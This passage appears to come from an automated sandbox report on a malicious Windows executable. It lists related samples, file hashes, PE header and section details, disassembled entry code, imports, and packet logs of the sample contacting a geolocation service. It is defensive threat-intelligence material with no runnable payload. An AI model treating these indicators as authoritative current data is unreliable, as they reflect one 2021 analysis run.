	ExQjKsR148.exe	Get hash	malicious	Browse
	fXMEzg5Fjm.exe	Get hash	malicious	Browse
	n5xOe1FLjX.exe	Get hash	malicious	Browse
	Zu47jAxblK.exe	Get hash	malicious	Browse
	0fx09eBpoa.exe	Get hash	malicious	Browse
	Wbjs26r3D4.exe	Get hash	malicious	Browse
	UGqdpP0fTb.exe	Get hash	malicious	Browse
	7v2OjwD9YH.exe	Get hash	malicious	Browse
	3HuW7WBipG.exe	Get hash	malicious	Browse
	qXf7bVIXNA.exe	Get hash	malicious	Browse
	HnLgr049pI.exe	Get hash	malicious	Browse
	ful59kYtVh.exe	Get hash	malicious	Browse
	Rk4FO1uh2V.exe	Get hash	malicious	Browse
	4YnNtwdzi4.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.2ip.ua	kI3s0EHB23.exe	Get hash	malicious	Browse	77.123.139.190
	1wiBg3rNF8.exe	Get hash	malicious	Browse	77.123.139.190
	lNGoS47gJW.exe	Get hash	malicious	Browse	77.123.139.190
	LT8x22KHHG.exe	Get hash	malicious	Browse	77.123.139.190
	HVHU71yzzA.exe	Get hash	malicious	Browse	77.123.139.190
	6Fy45hLYl0.exe	Get hash	malicious	Browse	77.123.139.190
	ExQjKsR148.exe	Get hash	malicious	Browse	77.123.139.190
	fXMEzg5Fjm.exe	Get hash	malicious	Browse	77.123.139.190
	n5xOe1FLjX.exe	Get hash	malicious	Browse	77.123.139.190
	Zu47jAxblK.exe	Get hash	malicious	Browse	77.123.139.190
	0fx09eBpoa.exe	Get hash	malicious	Browse	77.123.139.190
	Wbjs26r3D4.exe	Get hash	malicious	Browse	77.123.139.190
	UGqdpP0fTb.exe	Get hash	malicious	Browse	77.123.139.190
	7v2OjwD9YH.exe	Get hash	malicious	Browse	77.123.139.190
	3HuW7WBipG.exe	Get hash	malicious	Browse	77.123.139.190
	qXf7bVIXNA.exe	Get hash	malicious	Browse	77.123.139.190
	HnLgr049pI.exe	Get hash	malicious	Browse	77.123.139.190
	ful59kYtVh.exe	Get hash	malicious	Browse	77.123.139.190
	Rk4FO1uh2V.exe	Get hash	malicious	Browse	77.123.139.190
	4YnNtwdzi4.exe	Get hash	malicious	Browse	77.123.139.190

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VOLIA-ASUA	xd.arm	Get hash	malicious	Browse	77.123.111.99
	kI3s0EHB23.exe	Get hash	malicious	Browse	77.123.139.190
	1wiBg3rNF8.exe	Get hash	malicious	Browse	77.123.139.190
	18vaq1Ah2l	Get hash	malicious	Browse	93.74.47.236
	lNGoS47gJW.exe	Get hash	malicious	Browse	77.123.139.190
	LT8x22KHHG.exe	Get hash	malicious	Browse	77.123.139.190
	HVHU71yzzA.exe	Get hash	malicious	Browse	77.123.139.190
	6Fy45hLYl0.exe	Get hash	malicious	Browse	77.123.139.190
	ExQjKsR148.exe	Get hash	malicious	Browse	77.123.139.190
	fXMEzg5Fjm.exe	Get hash	malicious	Browse	77.123.139.190
	n5xOe1FLjX.exe	Get hash	malicious	Browse	77.123.139.190
	Zu47jAxblK.exe	Get hash	malicious	Browse	77.123.139.190
	0fx09eBpoa.exe	Get hash	malicious	Browse	77.123.139.190
	Wbjs26r3D4.exe	Get hash	malicious	Browse	77.123.139.190
	UGqdpP0fTb.exe	Get hash	malicious	Browse	77.123.139.190
	7v2OjwD9YH.exe	Get hash	malicious	Browse	77.123.139.190
	3HuW7WBipG.exe	Get hash	malicious	Browse	77.123.139.190
	qXf7bVIXNA.exe	Get hash	malicious	Browse	77.123.139.190
	HnLgr049pI.exe	Get hash	malicious	Browse	77.123.139.190
	ful59kYtVh.exe	Get hash	malicious	Browse	77.123.139.190

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	8NdYqCV1ro.exe	Get hash	malicious	Browse	77.123.139.190
	UeAFmyPn6I.exe	Get hash	malicious	Browse	77.123.139.190
	RufUguSPlc.exe	Get hash	malicious	Browse	77.123.139.190
	yx336g9xlC.exe	Get hash	malicious	Browse	77.123.139.190
	rNQUMzvZj8.exe	Get hash	malicious	Browse	77.123.139.190
	D2864E311EFFCEF848301945DA620B92D1A982DBE2A70.exe	Get hash	malicious	Browse	77.123.139.190
	7yuJ4pbKSv.exe	Get hash	malicious	Browse	77.123.139.190
	uhpWKBbVV5.exe	Get hash	malicious	Browse	77.123.139.190
	5YzKOPnLR6.exe	Get hash	malicious	Browse	77.123.139.190
	2Io3gzJOEE.exe	Get hash	malicious	Browse	77.123.139.190
	DS-Setup[ZYiO2kA].exe	Get hash	malicious	Browse	77.123.139.190
	New_AMT_Policy.html	Get hash	malicious	Browse	77.123.139.190
	RWOEFXaFFI.exe	Get hash	malicious	Browse	77.123.139.190
	0lm81UZm7Y.exe	Get hash	malicious	Browse	77.123.139.190
	ccFkGrtkhM.exe	Get hash	malicious	Browse	77.123.139.190
	h2MBI7TaFm.exe	Get hash	malicious	Browse	77.123.139.190
	h2MBI7TaFm.exe	Get hash	malicious	Browse	77.123.139.190
	kI3s0EHB23.exe	Get hash	malicious	Browse	77.123.139.190
	9BdsqglvfC.exe	Get hash	malicious	Browse	77.123.139.190
	3oZf2AWs3o.exe	Get hash	malicious	Browse	77.123.139.190

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe Download File
Process:	C:\Users\user\Desktop\ZZGJ1bZClw.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	681984
Entropy (8bit):	7.899014919852102
Encrypted:	false
SSDEEP:	12288:CjjmXDK0IVqxNViEIGAdiTkxxP2DfbVJCfhK+gdUPQWMpWY1Bi:IQuM3iEI1iTaeZJOgOPlM
MD5:	DC42DD95CE4017C9984F759A77788BEC
SHA1:	F4D4796F4D49138A4CAFA8A86A47DB14AE322DBC
SHA-256:	F5928B4B67F399E11ECE2DE04588730B5891105AB72ADD45C7A9FF1FC3D961B7
SHA-512:	E921375E5A67157061C3EFACA92CA887E258A47F487BC9DE356D8DD2A19DDCA81F698266538A623421677953568FD05E91F1C7BCE965E11A948894F9A4864938
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 85%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.....................$....................@.................................f...........................................d....P.. .......................................................... ...@............................................text.............................. ..`.rdata...1.......2..................@..@.data...\|U..........................@....rsrc... ....P......................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\ZZGJ1bZClw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\geo[1].json Download File
Process:	C:\Users\user\AppData\Local\62eeaaf5-57b5-45a8-b82c-9369526aea53\ZZGJ1bZClw.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	419
Entropy (8bit):	4.6051655276544405
Encrypted:	false
SSDEEP:	12:YJP67kt/QVFRbIm/QVAYb4BoOmCnHa29MH4:YJZFQVFRbI0QVAYyoOmuHa2uY
MD5:	F14B3EAA40F1F9E2702AEFA447809208
SHA1:	BBFBEB1369362A0D122A54E7E7124DE41CA4EC35
SHA-256:	161174317C8116648B191C0DBDC1204E357154E6C50E41CB8CB8C9FE8F23619B
SHA-512:	82C72A4BD1FB9F1CBBCAD7A1118430325DD17BBE2BD32ECB45BF1032C33BAAB81A1BD6A249BD884307763475F5788D5B0F29CB3001D47916B7F2798B24667FFB
Malicious:	false
Reputation:	low
Preview:	{"ip":"185.189.150.69","country_code":"CH","country":"Switzerland","country_rus":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0438\u044f","country_ua":"\u0428\u0432\u0435\u0439\u0446\u0430\u0440\u0456\u044f","region":"Zug","region_rus":"\u0426\u0443\u0433","region_ua":"\u0426\u0443\u0433","city":"Baar","city_rus":"\u0411\u0430\u0440","latitude":"47.19625","longitude":"8.52954","zip_code":"6340","time_zone":"+02:00"}

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.899014919852102
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	ZZGJ1bZClw.exe
File size:	681984
MD5:	dc42dd95ce4017c9984f759a77788bec
SHA1:	f4d4796f4d49138a4cafa8a86a47db14ae322dbc
SHA256:	f5928b4b67f399e11ece2de04588730b5891105ab72add45c7a9ff1fc3d961b7
SHA512:	e921375e5a67157061c3efaca92ca887e258a47f487bc9de356d8dd2a19ddca81f698266538a623421677953568fd05e91f1c7bce965e11a948894f9a4864938
SSDEEP:	12288:CjjmXDK0IVqxNViEIGAdiTkxxP2DfbVJCfhK+gdUPQWMpWY1Bi:IQuM3iEI1iTaeZJOgOPlM
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^...

File Icon


Icon Hash:	8c8cbcccce8888e7

Static PE Info

General
Entrypoint:	0x401cf5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5EFD1993 [Wed Jul 1 23:17:39 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	cff62fa5d60c26268b201fcb5b9dc813

Entrypoint Preview

Instruction
call 00007F40EC99EE34h
jmp 00007F40EC99BF6Dh
mov edi, edi
push esi
push edi
xor esi, esi
mov edi, 004A0D50h
cmp dword ptr [0049F00Ch+esi*8], 01h
jne 00007F40EC99C110h
lea eax, dword ptr [0049F008h+esi*8]
mov dword ptr [eax], edi
push 00000FA0h
push dword ptr [eax]
add edi, 18h
call 00007F40EC99EEA7h
pop ecx
pop ecx
test eax, eax
je 00007F40EC99C0FEh
inc esi
cmp esi, 24h
jl 00007F40EC99C0C4h
xor eax, eax
inc eax
pop edi
pop esi
ret
and dword ptr [0049F008h+esi*8], 00000000h
xor eax, eax
jmp 00007F40EC99C0E3h
mov edi, edi
push ebx
mov ebx, dword ptr [0049B0A8h]
push esi
mov esi, 0049F008h
push edi
mov edi, dword ptr [esi]
test edi, edi
je 00007F40EC99C105h
cmp dword ptr [esi+04h], 01h
je 00007F40EC99C0FFh
push edi
call ebx
push edi
call 00007F40EC99DF3Bh
and dword ptr [esi], 00000000h
pop ecx
add esi, 08h
cmp esi, 0049F128h
jl 00007F40EC99C0CEh
mov esi, 0049F008h
pop edi
mov eax, dword ptr [esi]
test eax, eax
je 00007F40EC99C0FBh
cmp dword ptr [esi+04h], 01h
jne 00007F40EC99C0F5h
push eax
call ebx
add esi, 08h
cmp esi, 0049F128h
jl 00007F40EC99C0D8h
pop esi
pop ebx
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push dword ptr [0049F008h+eax*8]
call dword ptr [0049B044h]
pop ebp
ret
push 0000000Ch
push 0000D598h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9d8cc	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x125000	0x8020	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9b1d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9c420	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9b000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x990d0	0x99200	False	0.979567920918	data	7.9905269597	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x9b000	0x31d2	0x3200	False	0.254765625	data	4.21010792391	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9f000	0x8557c	0x1e00	False	0.118229166667	data	1.32989897345	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x125000	0x8020	0x8200	False	0.616376201923	data	6.01601682755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CUGAKADOZUYELOLOCORAVUYUVOSAFI	0x12a708	0x685	ASCII text, with very long lines, with no line terminators
HADEZAFELUZAGOXUCUXO	0x12ad90	0x636	ASCII text, with very long lines, with no line terminators
RT_ICON	0x1254b0	0xea8	data	English	United States
RT_ICON	0x126358	0x8a8	data	English	United States
RT_ICON	0x126c00	0x25a8	dBase III DBT, version number 0, next free block index 40	English	United States
RT_ICON	0x1291a8	0x10a8	data	English	United States
RT_ICON	0x12a250	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_STRING	0x12b5d8	0x2e4	data
RT_STRING	0x12b8c0	0x15c	data
RT_STRING	0x12ba20	0x4d8	data
RT_STRING	0x12bef8	0x5c8	data
RT_STRING	0x12c4c0	0x304	data
RT_STRING	0x12c7c8	0x324	data
RT_STRING	0x12caf0	0x300	data
RT_STRING	0x12cdf0	0x230	data
RT_ACCELERATOR	0x12b3c8	0x38	data
RT_ACCELERATOR	0x12b400	0x20	data
RT_GROUP_ICON	0x12a6b8	0x4c	data	English	United States
RT_VERSION	0x12b420	0x1b4	data

Imports

DLL	Import
KERNEL32.dll	EndUpdateResourceW, InterlockedIncrement, GetEnvironmentStringsW, WaitForSingleObject, SetEvent, CancelDeviceWakeupRequest, FindActCtxSectionStringA, WriteFileGather, EnumResourceTypesA, GlobalAlloc, SizeofResource, SetConsoleCP, LeaveCriticalSection, GetFileAttributesW, ReadFile, GetProcAddress, FreeUserPhysicalPages, EnterCriticalSection, VerLanguageNameW, PrepareTape, RemoveDirectoryW, GetModuleFileNameA, GetModuleHandleA, FindFirstVolumeA, LocalSize, AddConsoleAliasA, FindNextVolumeA, GetSystemTime, lstrcpyW, GetLocaleInfoA, WriteConsoleW, GetCommandLineW, HeapAlloc, GetLastError, HeapReAlloc, GetCommandLineA, GetStartupInfoA, DeleteCriticalSection, HeapFree, VirtualFree, VirtualAlloc, HeapCreate, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, SetHandleCount, GetFileType, SetFilePointer, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, RtlUnwind, LoadLibraryA, SetStdHandle, GetConsoleCP, GetConsoleMode, FlushFileBuffers, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapSize, WriteConsoleA, GetConsoleOutputCP, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, CloseHandle, CreateFileA
USER32.dll	RealChildWindowFromPoint
GDI32.dll	GetCharWidthFloatW
ADVAPI32.dll	DeregisterEventSource, CloseEventLog

Version Infos

Description	Data
InternalName	sajbmoimizu.ise
ProductVersion	8.79.590.38
Copyright	Copyrighz (C) 2021, fudkagat
Translation	0x0129 0x00a9

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2021 08:56:01.487344027 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:01.487382889 CEST	443	49746	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:01.487483025 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:01.511185884 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:01.511214972 CEST	443	49746	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:01.615768909 CEST	443	49746	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:01.615897894 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:01.998039961 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:01.998073101 CEST	443	49746	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:01.998352051 CEST	443	49746	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:01.998944998 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:02.003695965 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:02.051135063 CEST	443	49746	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:02.057718992 CEST	443	49746	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:02.057780981 CEST	443	49746	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:02.057841063 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:02.058037996 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:02.061292887 CEST	49746	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:02.061315060 CEST	443	49746	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:13.390860081 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.390897989 CEST	443	49772	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:13.391011953 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.407748938 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.407768965 CEST	443	49772	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:13.509150982 CEST	443	49772	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:13.509299040 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.522274971 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.522305012 CEST	443	49772	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:13.522598982 CEST	443	49772	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:13.522675991 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.525348902 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.567141056 CEST	443	49772	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:13.612665892 CEST	443	49772	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:13.612746000 CEST	443	49772	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:13.612765074 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.612824917 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.613879919 CEST	49772	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:13.613899946 CEST	443	49772	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:18.058053970 CEST	49777	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:18.058095932 CEST	443	49777	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:18.058191061 CEST	49777	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:18.082169056 CEST	49777	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:18.082201958 CEST	443	49777	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:18.180228949 CEST	443	49777	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:18.180397987 CEST	49777	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:18.197937965 CEST	49777	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:18.198004007 CEST	443	49777	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:18.198412895 CEST	443	49777	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:18.198951006 CEST	49777	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:18.218774080 CEST	49777	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:18.259150982 CEST	443	49777	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:18.279798031 CEST	443	49777	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:18.279932976 CEST	443	49777	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:18.280100107 CEST	49777	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:18.287873983 CEST	49777	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:18.287911892 CEST	443	49777	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:20.410363913 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.410408974 CEST	443	49778	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:20.410607100 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.458435059 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.458467007 CEST	443	49778	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:20.570833921 CEST	443	49778	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:20.571091890 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.581449032 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.581475973 CEST	443	49778	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:20.581948996 CEST	443	49778	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:20.582216978 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.585846901 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.627142906 CEST	443	49778	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:20.671041965 CEST	443	49778	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:20.671156883 CEST	443	49778	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:20.671364069 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.671381950 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.672797918 CEST	49778	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:20.672823906 CEST	443	49778	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:26.391773939 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.391853094 CEST	443	49779	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:26.391969919 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.631742001 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.631797075 CEST	443	49779	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:26.732944012 CEST	443	49779	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:26.733133078 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.747996092 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.748039007 CEST	443	49779	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:26.748419046 CEST	443	49779	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:26.748517036 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.766722918 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.807149887 CEST	443	49779	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:26.832066059 CEST	443	49779	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:26.832155943 CEST	443	49779	77.123.139.190	192.168.2.6
Sep 26, 2021 08:56:26.832174063 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.832210064 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.836085081 CEST	49779	443	192.168.2.6	77.123.139.190
Sep 26, 2021 08:56:26.836126089 CEST	443	49779	77.123.139.190	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2021 08:55:46.775007010 CEST	60342	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:55:46.794641972 CEST	53	60342	8.8.8.8	192.168.2.6
Sep 26, 2021 08:55:46.939770937 CEST	61346	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:55:46.966603994 CEST	53	61346	8.8.8.8	192.168.2.6
Sep 26, 2021 08:55:47.239908934 CEST	51774	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:55:47.275001049 CEST	53	51774	8.8.8.8	192.168.2.6
Sep 26, 2021 08:55:47.847789049 CEST	56023	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:55:47.899696112 CEST	53	56023	8.8.8.8	192.168.2.6
Sep 26, 2021 08:55:48.621804953 CEST	58384	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:55:48.643505096 CEST	53	58384	8.8.8.8	192.168.2.6
Sep 26, 2021 08:55:48.667026997 CEST	60261	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:55:48.699424982 CEST	53	60261	8.8.8.8	192.168.2.6
Sep 26, 2021 08:55:58.124094009 CEST	56061	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:55:58.144366980 CEST	53	56061	8.8.8.8	192.168.2.6
Sep 26, 2021 08:56:01.410515070 CEST	58336	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:56:01.425695896 CEST	53	58336	8.8.8.8	192.168.2.6
Sep 26, 2021 08:56:13.367470980 CEST	53781	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:56:13.380528927 CEST	53	53781	8.8.8.8	192.168.2.6
Sep 26, 2021 08:56:17.999828100 CEST	54064	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:56:18.013017893 CEST	53	54064	8.8.8.8	192.168.2.6
Sep 26, 2021 08:56:20.377324104 CEST	52811	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:56:20.394387007 CEST	53	52811	8.8.8.8	192.168.2.6
Sep 26, 2021 08:56:26.363320112 CEST	55299	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:56:26.376830101 CEST	53	55299	8.8.8.8	192.168.2.6
Sep 26, 2021 08:56:29.142807007 CEST	63745	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:56:29.159467936 CEST	53	63745	8.8.8.8	192.168.2.6
Sep 26, 2021 08:56:43.887742043 CEST	50055	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:56:43.901582003 CEST	53	50055	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:07.549490929 CEST	61374	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:07.577061892 CEST	53	61374	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:15.482786894 CEST	50339	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:15.502448082 CEST	53	50339	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:17.312490940 CEST	63307	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:17.326940060 CEST	53	63307	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:36.413918018 CEST	49694	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:36.426997900 CEST	53	49694	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:36.592263937 CEST	54982	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:36.623374939 CEST	53	54982	8.8.8.8	192.168.2.6
Sep 26, 2021 08:57:36.971580982 CEST	50010	53	192.168.2.6	8.8.8.8
Sep 26, 2021 08:57:37.038168907 CEST	53	50010	8.8.8.8	192.168.2.6
